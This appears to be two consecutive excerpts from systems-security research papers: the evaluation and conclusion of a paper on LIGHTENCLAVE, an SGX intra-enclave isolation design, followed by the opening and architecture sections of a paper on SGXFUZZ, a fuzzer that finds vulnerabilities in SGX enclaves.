since the cacheline of the SECS field is originally accessed
by the two instructions while the latter one is measured by
repeating accessing CR4 and getting the average cost.

To show the feasibility and performance benefits of LIGHT-
ENCLAVE, we leverage it to isolate third-party libraries (§ 8.2),
integrate it into Graphene-SGX [55] and Occlum [53] (§ 8.3),
and apply it in the serverless scenario (§ 8.4).

8.1 Microbenchmarks
Fast creation of light-enclaves. When Graphene-SGX
needs to spawn a new process, it follows the standard FORK se-
mantic and thus launches a new enclave that contains exactly
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App helloworld SQLite3 cc1

Grapene-SGX 1773 1762 1888
Iso-Grapene-SGX 32 37 54

Occlum 0.163 9.414 65.86
Iso-Occlum 0.162 6.259 42.55

Table 2: Task creation latency (ms).
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Figure 7. Performance of Pipe-based communication.

the same contents. Nevertheless, Checkpointing and trans-
ferring existing states (opened file tables, memory layout,
etc.) are not free. With LIGHTENCLAVE, Iso-Graphene-SGX
effectively addresses this performance issue because it can
construct multiple light-enclaves (as separated processes) in
the same hardware enclave without creating a new hardware
enclave from scratch. The first test spawns (light-)enclaves
initialized from different sizes of ELFs (include the 2MB
LibC): helloworld (2MB), SQLite3 (3MB) and cc1 (13MB),
and measures their creation latency. As shown in Table 2,
Iso-Grapene-SGX can reduce application creation time by
97% as it does not construct a new hardware enclave and fork
a new LibOS instance. The latency of spawning helloworld or
SQLite3 is dominated by the complex process creation logic
of Graphene-SGX and thus close to each other.

We also compare the process spawn time between Occlum
and Iso-Occlum. Iso-Occlum can reduce application creation
time by up to 35% because it eliminates code instrumentation
and thus avoids bloating the ELF size. For example, the size of
cc1 is 17MB with instrumentation and 11MB otherwise. The
ELFs are initially stored in Occlum’s encrypted file system. A
smaller ELF means loading less content from the file system
when spawning.
Fast communication between light-enclaves. Graphene-
SGX uses multiple SGX enclaves for isolating different
entities, running the LibOS instance in each enclave. It
supports enclave communication through pipe. For creat-
ing one pipe, two LibOS instances negotiate the encryp-
tion/decryption key via cryptographic methods. When the en-
claves send/receive messages through the pipe, the messages
are encrypted/decrypted, which is time-consuming. In Iso-
Graphene-SGX, the modified LibOS works as the secure mon-
itor and can allocate a shared memory domain within the hard-
ware enclave for light-enclaves to exchange data. Thereby,
the implementation of pipe in Iso-Graphene-SGX requires
no message encryption/decryption. We measure the through-

put of message passing over pipe under different buffer sizes.
As shown in Figure 7, compared with Graphene-SGX, pipe
throughput in Iso-Graphene-SGX is 7x to 40x higher. It is
even higher than that in Linux because system calls to LibOS
are more lightweight. Differently, Occlum and Iso-Occlum
achieve similar throughput because they both leverage the
shared memory provided by the LibOS for message passing.
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Figure 8. Performance of OpenSSL and SQlite3 servers.

8.2 Isolating Third-Party Libraries
In this subsection, we show LIGHTENCLAVE can be used to
apply the multi-level security principle to applications in SGX
with low performance overhead. We also compare LIGHTEN-
CLAVE with Nested Enclave [47]. Since hardware extensions
of Nested Enclave are also unavailable, we emulate its perfor-
mance by invoking an empty ocall/ecall when n_ocall/n_ecall
happens between inner enclaves and the outer enclave.
Echo Server with OpenSSL. Isolating sensitive code and
third-party code is good for security. For example, prior
work [56] suggests isolating the session keys as well as the
related SSL library code accessing the keys in an isolated ex-
ecution environment. Accordingly, we deconstruct the SGX-
OpenSSL [13] library and make the minimal code that allo-
cates and accesses the session keys as light-enclave-S (secure)
while leaving the rest code as light-enclave-NS (non-secure).
Then, we implement a simple echo server linked with the SSL
library, and it also runs in light-enclave-NS. Light-enclave-S
is more privileged than light-enclave-NS, and any vulnera-
bility in the latter one cannot leak the secrets in the former
one. The two light-enclaves run in a hardware enclave as a
server, and a client running in another hardware enclave in-
vokes the corresponding service. The client and server use
a session key for symmetric encryption/decryption during
communication. Since all the session keys are allocated in
Light-enclave-S, the echo server in Light-enclave-NS needs
to switch to Light-enclave-S for encrypting and decrypting
packets. Thus, light-enclave switches happen when sending
and receiving packets. For using the approach of Nested En-
clave, the secure code should run in an inner enclave while
the insure code in the outer enclave.

We gradually increase the size of packets exchanged by the
client and the server and present the throughput in Figure 8a.
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LIGHTENCLAVE introduces up to 2% overhead compared
with the baseline (no isolation). There is nearly zero over-
head when the packet size is larger than 2kB, since content
encryption/decryption and sending/receiving dominate the
time. The overhead of Nested Enclave is between 2% to 23%.
LIGHTENCLAVE can outperform it by up to 27%, indicating
the interaction between isolated entities in LIGHTENCLAVE
is more efficient.
SQLite3 Server. We further show an example of confining
a whole third-party library in one light-enclave. We build a
simple, secure key-value store server that uses the SQLite3
(v3.23.0) engine. The enclave is divided into one trusted
light-enclave and one untrusted light-enclave, while the un-
trusted one is for the third-party library, SQLite3. A client
running in a normal process keeps sending requests to the
server. The server and client communicate through the lo-
cal network. The server invokes the interfaces of SQLite3
to perform Insert, Update, and Query operations. The server
also encrypts the data before storing it into SQLite3 and de-
crypts the data after retrieving it from SQLite3. We evaluate
both LIGHTENCLAVE and Nested Enclave under different
workloads. Figure 8b shows the normalized server throughput
(baseline has no isolation). For the 100% Insert workload,
Nested Enclave shows 11% overhead while LIGHTENCLAVE
only incurs 4% overhead. For other workloads, the overhead
is negligible.

8.3 Optimizing Applications on LibOSes
In this subsection, we show LIGHTENCLAVE can improve
the performance of SGX-oriented LibOSes, Graphene-SGX
and Occlum (without degrading the security).
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Figure 10. The performance of GCC.

Lighttpd. Lighttpd [10] is a widely-used multi-process web
server. We configure the Lighttpd server (v1.4.40) with two

workers running in two light-enclaves, and use ApacheBench
as clients to fetch 10KB web pages. The server and client are
connected with the local network. We increase the concur-
rency of clients gradually to get the peak throughput. Figure 9
shows the results. The difference of peak throughput between
Iso-Grapene-SGX and Graphene-SGX is only about 2% be-
cause there is no process spawn and there is little commu-
nication between different workers. Nevertheless, the peak
throughput in Iso-Occlum is 1.2x higher than that in Occlum,
owing to no boundary checking.
GCC. GCC [7] (v4.4.5) spawns and executes cc1, as, col-
lect2 and ld for compiling programs from C codes to ELF.
We evaluate the performance of GCC compilation (CPU-
intensive) on both Iso-Grapene-SGX and Iso-Occlum to show
the performance improvement brought by LIGHTENCLAVE.
We use GCC to compile five files with various lines of codes:
helloworld with 5 LOC, bzip2 with 5K LOC, gzip with 5K
LOC, oggenc with 50K LOC and SQLite3 with 130K LOC.
The normalized compilation time is shown in Figure 10. Iso-
Graphene-SGX optimizes the process creation time and thus
achieves 5.11x to 10.5x speedup compared with Graphene-
SGX. Iso-Occlum eliminates the overhead of SFI instrumen-
tation, which is 1.22x to 1.49x faster than Occlum.

LibOS Processing Time

Graphene-SGX 15.7 s
Iso-Graphene-SGX 910.9 ms

Occlum 16.3 ms
Iso-Occlum 12.7 ms

Table 3: The benchmark of Fish Shell.

Fish Shell. Fish shell [6] is a smart and user-friendly
command-line shell. When executing new commands, Fish
shell spawns a new process. The intermediate results are trans-
ferred using pipe. BusyBox [5] is a command-line tool that
combines tiny versions of many common UNIX utilities. We
use Fish shell (v3.0.0) and BusyBox (v.1.23.1) to show the
performance improvement brought by LIGHTENCLAVE to ap-
plications that need to spawn new processes frequently. We ex-
ecute a test script based on byte-unixbench [12] in Fish Shell,
which invokes several BusyBox commands (od, sort, grep, wc
etc.) to handle text files. Table 3 shows the script’s execution
time. Iso-Graphene-SGX is 17.2x faster than Graphene-SGX
as it reduces the overhead of process spawns, and Iso-Occlum
is 1.28x faster than Occlum as time-consuming bound check
instructions are not needed in Iso-Occlum.

8.4 Optimizing Serverless Functions
SGX can also be used to protect private data in serverless
scenarios. However, the slow enclave initialization may in-
cur substantial overhead because serverless functions usually
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execute for a short period. To solve it, some studies deploy
serverless functions with SFI [50] or language-based [21]
sandbox in SGX enclaves. But they introduce runtime over-
head due to software instrumentation or restrict the function
language. LIGHTENCLAVE has the potential to reduce such
overhead since the construction of light-enclaves is efficient.
Specifically, it can initialize a light-enclave inside an existing
enclave instead of creating a new hardware enclave for execut-
ing one function. We evaluate the whole latency of functions
with three approaches: COLD, creating enclave on demand
(upon a new request); WARM, maintaining enclave pools
to serve requests (avoid enclave creation); LIGHTENCLAVE,
creating light-enclaves on demand.

Functions Description Runtime

auth login authentication Node.js v8.10.0
crypto file encryption Node.js v8.10.0
face_detect face image detection Python v3.7
sentiment text sentiment analysis Python v3.7

Table 4: Serverless function benchmarks.
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Figure 11. The latency of executing serverless functions.

Table 4 lists the evaluated serverless functions from [39].
Node.js and Python environments are deployed in Iso-
Graphene-SGX and Iso-Occlum, respectively. Figure 11
shows the evaluation results. LIGHTENCLAVE decreases the
latency by 50% to 77% compared with COLD, and achieves
similar latency with WARM but with significant fewer re-
sources (e.g., one hardware enclave can concurrently run 16
instead of 1 functions). Moreover, skipping runtime initial-
ization is known to decrease further the latency of serverless
functions [46], which is orthogonal to our work. Besides fast
booting of light-enclaves, the fast interaction between light-
enclaves may also decrease the communication overhead be-
tween chained serverless functions. In the example of the
Sequence-chained test of ServerlessBench [11] (a chain of
5 ephemeral functions takes 105 ms), LIGHTENCLAVE can
reduce 12% overall latency by decreasing the communication
latency from 3.0 ms to 2.1 us.

9 Related Work

Intel SGX + Intel MPK. Two prior studies [23, 57] lever-
age Intel MPK to confine a malicious enclave’s behaviors

such that an enclave cannot access the host regions arbitrar-
ily. Their design goals are different from LIGHTENCLAVE.
Nevertheless, LIGHTENCLAVE can be deployed together with
such systems by carefully setting the domain access permis-
sion. EnclaveDom [43] is a pioneer in using MPK for intra-
enclave isolation, and LIGHTENCLAVE shares a similar goal
and design. Yet, it is envisioned with an aligned threat model
for MPK and is meant to showcase the performance. The
hardware proposals of LIGHTENCLAVE can also enhance the
security for it.
Intra-enclave isolation. Most prior studies achieve intra-
enclave memory isolation by instrumenting memory access in-
structions and ensuring the instrumentation is non-bypassable,
such as Occlum [53], CHANCEL [15], Spons & Shields [51],
which inevitably causes non-negligible runtime overhead.
Nested Enclave [47] proposes architectural extensions to al-
low an SGX enclave to be an outer enclave of multiple other
SGX enclaves as inner enclaves. The outer enclave cannot ac-
cess the inner enclaves while all the inner ones can access the
outer one. Differently, LIGHTENCLAVE is flexible to provide
configurable light-enclave hierarchies.
SGX-oriented LibOSes. To ease programming of SGX en-
claves, there is a line of LibOSes work in the context of SGX.
Haven [19] is the first LibOS with multiple shim layers (e.g.,
network, filesystem, console) to run unmodified Windows
applications. Graphene-SGX [55] and SCONE [17] runs un-
modified Linux applications and Docker images, respectively,
by containing the corresponding OS components within the
LibOS. Ryoan [31] further implements an in-memory file
system. All of these LibOSes introduce relatively large TCB.
LIGHTENCLAVE provides a light-enclave abstraction which
may help compartmentalize the LibOS into multiple domains
to bring security and reliability benefits.
Future prospects of LIGHTENCLAVE. TEEs like SEV [14]
and TrustZone [40] can use a trusted OS to provide isolated
processes as enclaves. Nevertheless, there also lacks intra-
process (intra-enclave) isolation, and decoupling an applica-
tion into different processes (e.g., for isolating third-party
libraries) will incur non-trivial performance overhead due
to costly inter-process communication. The idea of LIGH-
TENCLAVE could be generalized to introduce fine-grained
isolation to such monolithic enclave models because the hard-
ware feature of memory protection key (MPK) is not unique
to Intel. Examples include ARM memory domains [4], Apple
APRR [2], AMD MPK [1], and RISC-V Donky [52].

10 Conclusion

This paper presents LIGHTENCLAVE, a hardware-software
co-design for efficient intra-enclave isolation, which compart-
mentalizes an SGX enclave into isolated light-enclaves to
reduce the overall TCB with low runtime overhead. LIGH-
TENCLAVE can also be integrated into state-of-the-art SGX
LibOSes to achieve high-security and high-efficiency.
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Abstract
Intel’s Software Guard Extensions (SGX) provide a non-

introspectable trusted execution environment (TEE) to protect
security-critical code from a potentially malicious OS. This
protection can only be effective if the individual enclaves are se-
cure, which is already challenging in regular software, and this
becomes even more difficult for enclaves as the entire environ-
ment is potentially malicious. As such, many enclaves expose
common vulnerabilities, e.g., memory corruption and SGX-
specific vulnerabilities like null-pointer dereferences. While
fuzzing is a popular technique to assess the security of software,
dynamically analyzing enclaves is challenging as enclaves are
meant to be non-introspectable. Further, they expect an allo-
cated multi-pointer structure as input instead of a plain buffer.

In this paper, we present SGXFUZZ, a coverage-guided
fuzzer that introduces a novel binary input structure synthesis
method to expose enclave vulnerabilities even without source-
code access. To obtain code coverage feedback from enclaves,
we show how to extract enclave code from distribution formats.
We also present an enclave runner that allows execution of the
extracted enclave code as a user-space application at native
speed, while emulating all relevant environment interactions of
the enclave. We use this setup to fuzz enclaves using a state-of-
the-art snapshot fuzzing engine that deploys our novel structure
synthesis stage. This stage synthesizes multi-layer pointer
structures and size fields incrementally on-the-fly based on
fault signals. Furthermore, it matches the expected input format
of the enclave without any prior knowledge. We evaluate our
approach on 30 open- and closed-source enclaves and found a
total of 79 new bugs and vulnerabilities.

1 Introduction

The concept of trusted execution environments (TEEs) and In-
tel’s implementation called Software Guard Extensions (SGX)
have recently seen broad research attention [1, 12, 13, 17, 41,
50, 61, 77] as well as increasing industry adoption [4, 32, 57].
Generally speaking, SGX provides hardware-based features to
build enclaves that can execute security-critical code without

the interference of a potentially malicious OS. These enclaves
run inside a host application and should even remain secure
after the host is compromised. These properties make SGX
enclaves an attractive choice for potentially hostile environ-
ments, such as cloud environments or desktop platforms, where
malicious users can potentially interfere with the system.

In the past years, several attacks against the SGX framework
were demonstrated, mainly through side channel attacks [12,
13, 41, 61, 70]. While these attacks compromise the security of
SGX enclaves in general, these issues have practical limitations
and can usually be solved by Intel in the long run. However,
individual enclaves may suffer from software vulnerabilities
that compromise the enclave’s confidentiality and integrity
regardless of whether platform attacks succeed. Thus, while
the security of the SGX platform is essential, software security
of individual enclaves must be ensured in either case. Unfortu-
nately, this aspect has largely been overlooked by research and
an in-depth analysis is necessary, because in addition to com-
mon types of software vulnerabilities (e.g., buffer overflows,
use-after-free vulnerabilities, type confusion), enclaves have
to ensure that all trusted computations are performed inside the
dedicated and trusted memory region as only memory in this
region is secured through SGX. Thus, all input from a potential
attacker must go through input sanitization; especially pointers
must be handled with care (e.g., pointers to input buffers must
point to memory outside the enclave). Afterwards, the data
has to be copied through the trust boundary and sanitized
within the enclave. This trust boundary between the enclave’s
host application and the associated enclave lead to many
vulnerabilities in the past [17, 77].

TEEREX [17] was recently proposed to automate vulner-
ability discovery at the host-to-enclave boundary by means
of symbolic execution. It is the first tool which is capable of
analyzing enclave code and successfully detected novel vulner-
abilities in multiple enclaves. On the downside, the approach
suffers from path explosion and can only focus on specific parts
of the enclave code and approximate (or even exclude) others.
In contrast, a well-suited analysis approach to examine the
security of a given system is fuzz testing (short: fuzzing). This
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method can be used for open- and closed-source applications
to enable out-of-the-box analysis with no prior knowledge of
system internals. Fuzzing is an established and robust method
with a proven track record of discovered vulnerabilities and
a very active research area [2, 10, 14, 28, 40, 48, 66, 68, 73,
81, 85]. This type of testing, and more specifically so-called
greybox fuzzing, utilizes coverage feedback from the system
under test and mutates the input to maximize code coverage.
However, vanilla greybox fuzzing tools like AFL and related
approaches [10,82] cannot be used for enclaves,as they provide
their input as a plain linear buffer. In contrast, enclaves expect
their input to be a structure consisting of several arguments and
pointers, which are possibly nested and contain again pointers
to other pointer structures. Thus, fuzzing a single enclave call
(ECALL) using a vanilla fuzzer would require detailed knowl-
edge about the layout of the input structure and a manually
written harness. Obtaining these structure layouts is feasible
for open-source code by reading the type definitions in C code,
albeit not trivial due to compiler-generated or nested/inherited
fields. However, this knowledge requirement becomes an issue
with closed-source binaries, where in-depth reverse engineer-
ing would be needed. Previous work on the synthesis of input
formats for fuzzing focuses on the purpose of specific fields in
linear input or to identify logic structures in the input—known
as grammar-based fuzzers [9,22,28]. Other approaches depend
on source code [46] or domain knowledge [51, 78]. Another
integral part for fuzzers is the code-coverage feedback that is
essential to efficiently cover large parts of the code. However,
coverage cannot be measured directly in the trusted execution
environment of enclaves, which is designed to be unobservable.

In this paper, we address these challenges and present the
design and implementation of SGXFUZZ, a novel method to
efficiently fuzz SGX enclaves by synthesizing nested input
structures. In a first step, we show how to extract the memory
from an enclave to obtain the actual enclave code. To this end,
we introduce changes to the SGX drivers for Linux and Win-
dows to automatically dump the enclave’s code upon executing
it. In the second step, we introduce a method to execute the
previously obtained memory dump of the enclave without the
need for SGX-capable hardware. We use the SIGILL signal
to detect SGX’ ENCLU instruction, which would normally
perform SGX actions (i.e., a context switch to the trusted SGX
context). To handle this, we set up our context that mimics
the SGX context and should not be distinguishable for regular
enclaves. This approach allows us to execute enclaves natively,
without emulation overhead, outside the SGX environment.

To automatically fuzz the enclaves in our execution environ-
ment, we propose fuzzer extensions to test arbitrary enclaves
without any prior knowledge of the input structures. The
first extension utilizes fault signals from specifically crafted
memory pages to incrementally learn the layout of the input
structures and to uncover possible size fields of variable-sized
arrays. The second extension probes different types of pointer
in the previously determined input layout. More specifically,

it tests whether pointers inside, outside, or on the enclave’s
memory boundary lead to distinctive code coverage, which
lets us uncover software faults related to the trusted memory
region of SGX.

We implement a prototype of the proposed approach and
evaluate our fuzzing extension using 30 open- and closed-
source enclaves. In total, we uncovered 79 new bugs and
vulnerabilities. As we show in detail in Section 3 and Sec-
tion 6.5, SGXFUZZ outperforms TEEREX as it discovers
significantly more vulnerabilities and higher code coverage.

Contributions. In summary, we make the following contri-
butions in this paper:

Enclave Dumping: Using the SGX driver, we completely
extract executable enclave code on Windows and Linux in an
automated way.

Enclave Runner: We show how to execute enclave code,
including SGX-specific instructions, natively outside SGX to
retrieve code coverage feedback.

Structure Synthesis: We present a method to synthesize
multi-layer structures of pointers, arrays, and size fields using
fuzzing.

Memory Location Havoc: To analyze whether enclaves are
vulnerable to trust-boundary attacks, we develop a fuzzing
stage that tries different memory locations for each of the
pointers in the synthesized structure.

Fuzz Analysis: Utilizing the methods developed in this
work, we analyze the security of 30 enclaves and found 79 new
bugs and vulnerabilities. So far, a total of three CVEs were as-
signed and $13k in bug bounty were paid for the vulnerabilities
we identified.

Limitations of Symbolic Execution: We analyze previous
work on vulnerability detection using symbolic execution,
discuss limitations, and extensively compare the results with
SGXFUZZ.

2 Background

The Intel Software Guard Extensions (SGX) [45] are a promi-
nent technique to create self-contained libraries that can be
executed within a secure context, unobservable by anyone
except the enclave’s author. However, this neglects possible
vulnerabilities, which makes security testing a necessity. This
section provides background information on SGX, the enclave
structures, and the calling convention of enclaves to explain
the starting point of SGXFUZZ. Thereafter, we summarize the
principles of greybox fuzzing and the modules that provide the
foundation for SGXFUZZ.

2.1 Intel Software Guard Extensions (SGX)
SGX is an extension set that provides instructions on Intel
CPUs to create encrypted and protected memory and code
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sections that can be called using a controlled interface. Since
the initial state of an enclave is cryptographically verified and
the integrity of the hardware can be attested remotely, this
allows trusted execution on remote hardware.

Enclave Low-Level Interface. Initialization of an enclave
is done at kernel level by copying the data provided by the
enclave developer into memory pages from the Enclave Page
Cache (EPC). Next, the memory pages of the enclave are
added to the virtual address space of the host application.
Thereafter, the initial state is cryptographically verified. At
this stage only the enclave itself can access its memory. The
memory of the host application remains unrestricted and
can also be accessed from the enclave. Further, enclaves
define a public interface for function calls (ECALLs) from
the host application which is specified in the Thread Control
Structures (TCS). These structures specify the only addresses
at which execution in an enclave can start. Moreover, TCS
are locked and can only be used by a single thread to enter the
enclave, which limits the concurrency within enclaves.

Entering an enclave (i.e., switching to the secure context)
is implemented in the EENTER leaf function of the ENCLU
instruction. EENTER locks a given TCS, enables the secure
processing mode, and transfers the execution context to the
defined entry point. When the enclave finished the execution of
the call, the execution context is transferred back using EEXIT .
In detail, EENTER affects several registers, e.g., RAX, RBX
and RCX are used as arguments, RSP and RBP are saved (and
restored on EEXIT), and FS and GS are set according to the
TCS. The remaining registers like RDI and RSI are unaffected
by EENTER and used to pass user-defined arguments to the
enclave. Since the registers are very limited in number and size,
enclave developers usually use an SDK that provides copy
stubs for more complex data types. These SDKs use the reg-
isters to pass a pointer to shared memory, which is then used to
copy the actual arguments of the ECALLs. The next paragraph
describes the calling convention of the Intel SGX SDK.

Enclave High-Level Interface (Intel SGX SDK). The Intel
SGX SDK [42] provides stubs to call enclave functions with
complex arguments using a single TCS. It uses RDI to indicate
the enclave function (ECALL) and RSI as the pointer to a
data structure that contains all arguments. The stubs validate
the pointers and copy all data into secure memory. Next, the
actual enclave function is invoked using these secure copies.
The SDK also provides outside calls (OCALLs) that act in
the reverse: The enclave is left, a specified function in the
host application is executed, and the return values are copied
into the enclave. In addition, the SDK adds another internal
ECALL for initialization, that is usually executed right after
the instantiation of an enclave to, e.g., setup global objects.

The SDK translates ECALL signatures into structures as
follows:

• A function without arguments (void ecall()) just uses
a nullptr instead of a struct pointer.

• Return values and primitive types are packed into the
struct: int ecall(int arg)

→ struct ms_ecall_t { int ret; int arg; }

• Buffers are combined with a size field:
void ecall([size=buf_s] char* buf, size_t buf_s)

→ struct ms_ecall_t { char* buf; size_t buf_s; }

• For C-strings, an internal size field is added that is
checked against strlen in the enclave:
void ecall([string] char* buf)

→ struct ms_ecall_t { char* buf; size_t len; }

Additionally, user types may be passed unchecked using a
raw pointer (void ecall([user_check] void* ptr)), but this
easily leads to vulnerabilities.

Memory Corruption Vulnerabilities. In this paper, we focus
on memory corruption attacks [74] against software running in-
side an SGX enclave. In general, these attacks are possible due
to programming errors that allow an attacker to perform mali-
cious reads and writes to application memory, e.g., overwriting
data on the stack or the heap. These attacks have devastating
consequences for security-critical SGX software as they
often allow extraction of cryptographic keys stored in enclave
memory [53]. Furthermore, SGX enclaves developed with
the Intel SGX SDK offer a large attack surface for launching
return-oriented programming attacks [69]—the state-of-the-
art memory corruption attack technique—as they provide a
large number of powerful gadgets (i.e., allowing access to
many CPU registers) that are located at fixed memory loca-
tions [8]. Recent studies confirm that invoking these gadgets is
highly probable, as public SGX frameworks and SGX enclaves
including commercial fingerprint driver software suffer from
a variety of memory corruption vulnerabilities [17, 77]. One
important lesson from existing vulnerability studies in SGX
software is the high probability of null-pointer-dereference er-
rors. While these play a negligible role in modern PC software,
they are highly relevant in the context of SGX as the under-
lying SGX adversary model assumes an attacker that controls
the kernel, thereby allowing memory allocation at arbitrary
addresses (including the NULL page). We will come back to
these errors when analyzing real-world enclaves in Section 6.

2.2 Greybox Fuzzing
Fuzzing is an automated software testing method where
random input is used to test a target program for potential
software faults. Depending on the target’s execution result,
the fuzzer mutates the input to explore previously unseen code
paths. This way, the fuzzer aims to maximize the total code
coverage achieved during the entire fuzzing process.

Fuzzers are separated into different flavors depending on
their ability to retrieve information about the target’s execution
run. Greybox fuzzers have no access to the target’s source
code, but utilize code coverage feedback to monitor whether
the target executed a new code path. The feedback is generated
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through instrumentation [25, 54, 65], emulation [29, 58, 59],
or hardware extension like Intel PT [16, 52, 56, 62, 66, 67, 84];
the feedback is usually recorded in a bitmap.

Greybox fuzzers use the coverage feedback to deploy a
fuzzing loop, where they generate an input, pass it to the
target, and record the code coverage [11, 14, 64, 82]. After
each execution, the fuzzer analyzes the coverage bitmap to see
whether a new code path was discovered. Inputs that generate
novel coverage are saved and used as a base to start new fuzzing
iterations. A fuzzing iteration consists of several stages, where
each stage usually deploys a custom input mutator and exe-
cutes the target several times to achieve new coverage based
on the stage’s mutator [3, 9]. This combines the sophistication
of different mutators to tackle specific code paths in a target
with the randomness of basic fuzzing strategies.

Snapshot Fuzzing. Fuzzers test targets repeatedly with gener-
ated inputs and aim at achieving high efficiency. This requires
an efficient technique to reset targets to the state when they
accept the input. On Linux, this is usually implemented using
a fork server that forks the target process just before receiving
the fuzzing payload [14, 36, 81, 82]. Hence, the target process
does not have to be created from scratch for each execution.

Snapshot-based fuzzers [66, 72, 79] use a different strategy:
these fuzzers create a complete snapshot of the target process
that contains the target’s memory and execution context.
During the execution of the target, the fuzzer tracks which
pages of the snapshot are changed and then reloads only these
changed pages upon starting a new execution. This strategy
leads to higher execution rates compared to the fork-server
approach and can efficiently reset the state of the entire
program (or enclave) after each execution.

3 Fuzzing vs. Symbolic Execution:
Comparison to TEEREX

Aside from fuzzing there are other techniques for vulnerability
detection like the TEEREX framework [17] which uses
symbolic execution and is specialized to find vulnerabilities
in SGX enclaves. TEEREX can extract the ECALLs from en-
claves and symbolically calculate vulnerable states. However,
TEEREX suffers from several issues that lead to false positives
and false negatives. We evaluate these issues based on case
studies and describe how they reveal the limitations of the
symbolic execution approach. We start with a brief description
of conceptional differences between fuzzing and symbolic
execution, which shows the inherent limitations.

3.1 Conceptual Differences
First, there are the fundamental advantages of fuzzing and
symbolic execution, respectively. Fuzzing provides complete
and reproducible test cases with a low false positive rate.
However, every test case starts at the entry point and tests a

full execution path. Further, fuzzers have to test identical code
paths multiple times until they find a new path because the exact
relation between input bytes and branches taken is unknown.

Symbolic Execution, on the other hand, is a comprehensive
approach to explore all possible program states in a single
analysis. However, a complete analysis of non-negligible
code sizes is infeasible due to the amount of possible states.
Hence, practical symbolic execution approaches focus on
specific parts and approximate or exclude others. Moreover,
there are conceptional no-ops in programs that introduce high
complexity for a symbolic solver. For example, SGX enclaves
create secure copies of input using malloc and memcpy. While
this hardly affects possible memory corruptions, these memory
management functions consist of many read/write instructions
that impose a burden for the symbolic memory. As a counter-
measure, symbolic execution engines try to replace these func-
tions with mocks that are optimized for symbolic engines, but
this is not trivial for stripped closed-source binaries, whereas
the overhead of these functions is negligible for a fuzzer. As
a result, it is difficult for TEEREX to analyze ECALLs with
complex input structures in stripped closed-source binaries.

3.2 Limitations of TEEREX

TEEREX aims to find a symbolic connection between the argu-
ments of an ECALL and executed read, write, and jump/call
instructions. Thereafter, it analyzes the context and determines
if the conditions on the state allow unintended destinations.
When argument data is used as an address without further
check, this is an indicator for a vulnerability.

This analysis depends on soundness and (relative) complete-
ness of the symbolic analysis. This section discusses cases
when approximations and optimizations lead to false reports.

3.2.1 False Negatives

First, we analyze reports of TEEREX to discuss sources of
false negatives caused by the symbolic execution approach.

Case Study: Heap Memory Corruption. During our
evaluation, we discovered three bugs that corrupt the heap
memory by writing beyond the allocated memory. In each of
the cases, bytes are written linearly, so that it is not possible to
write to arbitrary memory locations. In general, these bugs are
hard to detect by a greybox fuzzer because memory validators
like ASAN [34] cannot be added after compilation.

However, Intel’s trusted library for SGX utilizes a custom
implementation of malloc and free because system functions
are not available in enclaves. This implementation stores a
header consisting of a magic value and the size of an allocated
memory chunk prior to the actual memory. The magic value
is a 64-bit random value, generated on the first call of malloc
and is equal for all chunks. The corresponding free function
checks this magic value, reads the chunk size, and then reads
the magic number following that chunk. If either of them is
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invalid, the function terminates with a segmentation fault.
Thus, when a bug corrupts heap memory, this magic number
is destroyed and the program crashes on the subsequent call
of free or malloc. In addition, free crashes on any pointer
not allocated by malloc, as the magic number is missing.
This mechanism provides the fuzzer with an excellent bug
oracle for heap memory corruption and freeing invalid (e.g.,
uninitialized) pointers. On the other hand, this scenario is
challenging for symbolic execution:

Incomplete model. When symbols are available, TEEREX
and in particular the underlying framework ANGR, uses
symbolic replacements for standard functions to reduce the
path complexity. Specifically, the replacement for malloc
always returns a new chunk of heap memory and free is a no-
op which does nothing and always succeeds. In this heap model,
the oracle is not available and this kind of bug cannot be found.

State/Constraint Explosion. When symbols are not available,
TEEREX cannot replace the memory management functions
as described above. Consequently, the checks of the SDK’s
malloc are still present, but functions like memcpy add more
constraints to the symbolic state than the solver can handle.
This is particularly complex when the size argument is
symbolic. As a result, the storage for each state as well as the
evaluation time for branch decisions increases significantly.
This forces TEEREX to abort exploration of these paths early
and miss potential bugs.

3.2.2 False Positives

Second, we sample the results reported by TEEREX to find
common sources for false positives. However, the number of
reports make an exhaustive evaluation infeasible.

Case Study: Pointer Range Checks. The results for the
enclaves sgxwallet and BiORAM-SGX include reports for
instructions in the ECALL wrapper that copy data into [out]
buffers. These out buffers (destination addresses) are attacker-
controlled, however, the SDK wrapper ensures that out buffers
are outside the enclave.

Incomplete Address-Space Model. TEEREX emulates en-
claves without the clear separation of the address space of
the host application. In addition, ECALL arguments are fully
symbolic so that concrete values for nested addresses may
be within as well as outside the enclave. When TEEREX
encounters a write to an attacker-controlled address, it may
conclude that this is a vulnerability, although the address was
range-checked. This is especially the case for out buffers,
which are a common concept of enclaves, where an enclave
writes to a user-defined non-secure address by design. This
leads to false positives because these addresses usually cannot
be used to manipulate trusted memory. As a countermeasure,
TEEREX tracks the range checks for pointers of the SDK, but
cannot automatically infer whether these constraints make the
pointer in question a false positive. Additionally, this pointer

tracking technique requires symbols and thus does not aid for
the analysis of closed-source enclaves.

4 SGXFUZZ Architecture

The high-level view of our fuzzing architecture is visualized
in Figure 1. This section introduces the main components. We
first show how to execute enclaves outside SGX while still
maintaining memory separation and context switches during
the enclave execution as part of our runner. In the second step,
we show the design of our fuzzing setup to synthesize input
structure layouts incrementally using signals. Thereafter, we
describe our novel mutation stages that are specialized to find
vulnerabilities in SGX enclaves. The implementation details
of each component will be described in Section 5.

Enclave Dumper (cf. 5.1). We first extract the enclave’s
memory from the enclave’s distribution format (shared library
file, .so). Our enclave dumper saves the memory (code and
data), and additional metadata, i.e., the enclave’s memory
layout, page permissions, and the entry points (TCS). We
compile the enclave data into our enclave runner, which is a
regular executable that acts as a harness around the enclave.

Native Enclave Runner (cf. 5.2). The enclave runner (or har-
ness) is capable of executing any ECALL outside SGX using
the dumped enclave, a serialized structure description, and the
payload bytes. First, the harness initializes the simulated SGX
environment: It installs handlers for the SGX instructions
and prepares memory and registers for the EENTER call.
Then, the runner reads the input structure definition and
the payload—usually from the fuzzer during the fuzzing
loop—and rebuilds its representation in memory. That is, it
allocates all necessary buffers, places the addresses of nested
buffers in the parent buffers, and fills the remaining fields
with the payload. Thereafter, the given ECALL is invoked
using this structure as the argument. We simulate the context
switch to the SGX environment, jump to the ECALL entry,
and the execution of the enclave continues as programmed by
its developer. When the enclave code encounters one of the
SGX-specific functions, the CPU interrupts because it is not in
SGX-mode, and the harness is notified via a signal (SIGILL).
We emulate this instruction and resume execution right after
that instruction. If the execution encounters a crash, e.g., a
segmentation fault, the harness collects the fault information
and submits those to the fuzzer for the structure synthesis.

This runner enables us to execute any enclave natively in
normal user-space without any SGX restrictions or emulation
overhead. In addition, we receive detailed feedback about
